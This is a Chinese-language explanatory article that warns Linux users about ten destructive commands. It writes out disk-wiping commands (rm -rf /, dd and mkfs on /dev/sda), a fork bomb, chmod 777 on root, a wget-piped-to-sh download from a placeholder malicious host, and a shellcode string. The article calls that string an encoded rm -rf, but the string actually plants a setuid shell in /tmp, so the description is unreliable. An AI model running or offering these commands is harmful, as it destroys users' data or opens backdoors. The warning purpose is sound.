十大可以摧毀你的 Linux 的命令
什么是最危險的 Linux 命令?
有人無數次問我這個問題,我一直避免回答,因為沒有一個明確的危險的 Linux 命令清單。
你擁有的工具使你能夠控制和修改你的操作系統的每一個方面。我不是想嚇唬你,但如果你不熟悉這些命令和工具,你可以很容易地把你的系統摧毀。
想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應允許孩子離開嬰兒床?那會對她的成長造成損害。
這就是父母設定界限和引導孩子的地方。不要靠近火堆,不要把手指戳到電源插座上……隨著孩子的成長和經驗的積累,她可以把爐子打開,在壁爐里生火,插上電源線。
同樣,如果你知道一些已知的風險命令,你可能會避免落入巨魔的陷阱,他們試圖欺騙你運行命令,擾亂你的系統。
當你積累了經驗,知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統的機會就會減少。
我的同事 Sreenath 收集了一些流行的危險 Linux 命令。讓我們看看它們是如何干掉你的 Linux 系統的。
免責警告:如果你不清楚你在做什么,請勿嘗試本文提及的這些命令,否則后果自負。
1、rm -rf /*
這個可能是在各種社交媒體上盤旋的最臭名昭著的命令。你會經常發現巨魔們在各種討論中提及這個。
??rm?
?? 命令用來刪除文件/目錄。標志 ??-r?
?? 和 ??-f?
? 表示遞歸地刪除指定目錄內的所有文件。現在,如果沒有 root 權限,這個命令不會造成任何傷害。
運行 ??sudo rm -rf /??? 命令也不會產生任何問題,因為大多數發行版提供了一個故障安全選項。你需要指定 ??--no-preserve-root?
? 才能實際運行它。
sudo rm -rf / --no-preserve-root
然而,一個更簡單的版本可以是這樣的:
sudo rm -rf /*
它將開始遞歸地刪除根目錄下的所有文件,在一段時間后,你的系統會凍結,并顯示“刪除文件錯誤”。一旦重新啟動,你將被送到 grub-rescue 提示符下。
2、覆蓋你的分區
如果你熟悉文件系統,你可能知道 ??/dev/sda?
?? 是什么。它(通常)是你的磁盤驅動器分區。??>?
? 操作符用于將其前面的命令的輸出寫到所提供的指定位置。
一旦你運行任何命令并把它寫到 ??/dev/sda?
?,比如說:
echo "Hello" > /dev/sda
這將用 ??Hello?
? 字符串替換你的包含啟動系統所需的所有數據的分區。
3、把所有的東西都移到黑洞
每個 Linux 系統內都有一個黑洞。而這個黑洞就是 ??/dev/null?
?。
無論你把什么東西扔進這個區域都會永遠丟失。而且,它在丟棄數據后會將寫入過程報告為成功,這是其破壞性的主要原因。
mv /home/user/* /dev/null
??mv 命令?? 用來移動或重命名文件/目錄。在上面的命令中,你把家目錄內的所有文件都移到了黑洞中。雖然根系統沒有被破壞,但你所有的個人數據都會丟失。
4、格式化你的硬盤
??mkfs?? 是一個命令行工具,用于格式化磁盤和分區。它是一個超級方便的工具,可以為安裝的操作系統創建分區。但同樣的命令也可以格式化你的硬盤。格式化你的驅動器意味著刪除系統啟動所需的所有文件。
mkfs.ext3 /dev/sda
這個命令完成了它的工作,而你最終得到了一個無法恢復的混亂的系統。
5、fork 炸彈
這個看起來很可愛的特殊字符和符號的隨機組合,足以通過耗盡系統資源來凍結一個正在運行的系統。
:(){ :|:& };:
??&?
?? - Shell 后臺操作符。它通知 Shell 將命令放在后臺。在這里,它定義了一個叫做 ??:?
? 的函數,它調用自己兩次,一次在前臺,一次在后臺。這個過程不斷地重復執行,直到系統凍結。
顧名思義,它自己分叉,最終成為一個連鎖炸彈,吃掉了所有的系統資源。你將被迫重啟系統,這并不像本列表中的其他命令那樣糟糕。
6、覆蓋重要的配置文件
雖然這本身不是一個命令,但它更像是一個預防性的東西。
如上所述,??>?
? 操作符是用來向文件寫入的。它丟棄文件中已經存在的東西,并將提供的新數據寫入文件中。
command > config_filename
現在,如果你將一些重要的配置文件作為寫數據的地方,它將被取代內容,留下一個損壞的系統。
7、用垃圾數據替換分區
??/dev/random?
?? 是 Linux 中的一個命令,它可以創建垃圾數據。把它和 ??dd 命令?? 以及你的分區結合起來,你就得到了一個可以讓你的分區著火的燃燒彈。
dd if=/dev/random of=/dev/sda
??dd?
?? 命令被用作一個低級別的復制工具。這里,它從 ??/dev/random?
?? 中獲取隨機數據,并用這些垃圾替換 ??/dev/sda?
? 分區。
一個類似的效果是通過以下方式獲得的:
cat /dev/urandom > filename
這里,它從 ??/dev/urandom?
??(LCTT 譯注:在 Linux 上,??/dev/urandom?
?? 現在和 ??/dev/random?
?? 的等價的 )中獲取垃圾數據并填入一個文件。如果不使用 ??Ctrl + C?
? 終止,該文件會占據相當大的空間,這對低端系統來說可能是災難性的。
8、將你的系統暴露給所有人
在 Linux 中,所有東西都是文件,每個 ??文件都有一定的權限??。
你可以用 ??ls -l?
? 查看權限。根文件系統是不允許其他沒有權限的用戶訪問的。雖然這保證了系統的私密性和安全性,但你可以用一個命令顛覆這個系統。
chmod -R 777 /
上述命令將根分區上的所有文件暴露給所有人。這意味著每個使用該系統的人都有讀、寫和執行的權限。這對你的系統是不利的。
9、下載并運行惡意的內容
你如何在 Linux 中安裝軟件?你可以使用官方的軟件包管理器或隨時可以使用的軟件包,如 Deb/RPM、Snap、Flatpak 等。
然而,有些軟件是沒有打包的,它們的開發者提供了下載和運行的 Shell 腳本。以 ??Homebrew?? 為例:
你下載一個 Shell 文件,然后以 root 身份運行它,在你的系統中安裝一個軟件。你看出問題了嗎?
雖然它對 Homebrew 這樣的官方軟件有效,但在你像下面這樣直接運行它之前,你應該仔細檢查你所下載的 Shell 腳本的內容:
wget http://malicious_source -O- | sh
這樣的命令會在你的系統中下載并運行惡意腳本,這可能會破壞你的系統的安全性。
10、偽裝的命令
在 Linux 終端中,有許多方法可以運行命令。其中一種方式是十六進制編碼的命令:
雖然它看起來很花哨,但這是 ??rm -rf?
? 命令的一個編碼版本。它的效果與運行前面的命令相同。因此,在從互聯網上復制和粘貼這些花哨的命令時,要小心謹慎。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
總結
pebkac
有一個著名的計算機術語 PEBKAC:“問題存在于鍵盤和椅子之間problem exists between keyboard and chair”。
因為歸根結底,還是要靠用戶(你)來保證你不會因為盲目地運行任何危險的命令而破壞系統。
UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么 UNIX 的工作就是以它所知道的最有效的方式將石頭砸到腳上。
而這句話同樣適用于 Linux。你可以完全控制你的操作系統。你選擇做什么,完全取決于你。
我建議做這些事情以確保更安全的體驗。
- 嘗試并理解你將要運行的命令。
- 用 Timeshift 保持你的系統設置的備份
- 用 DejaDup 保持個人數據(主目錄)的備份
正如我所說,沒有固定的危險 Linux 命令清單。還有很多可以添加到這個列表中,而且根本沒有盡頭。
我希望這能給你一些提示,告訴你為了保持 Linux 的安全,你不應該做什么。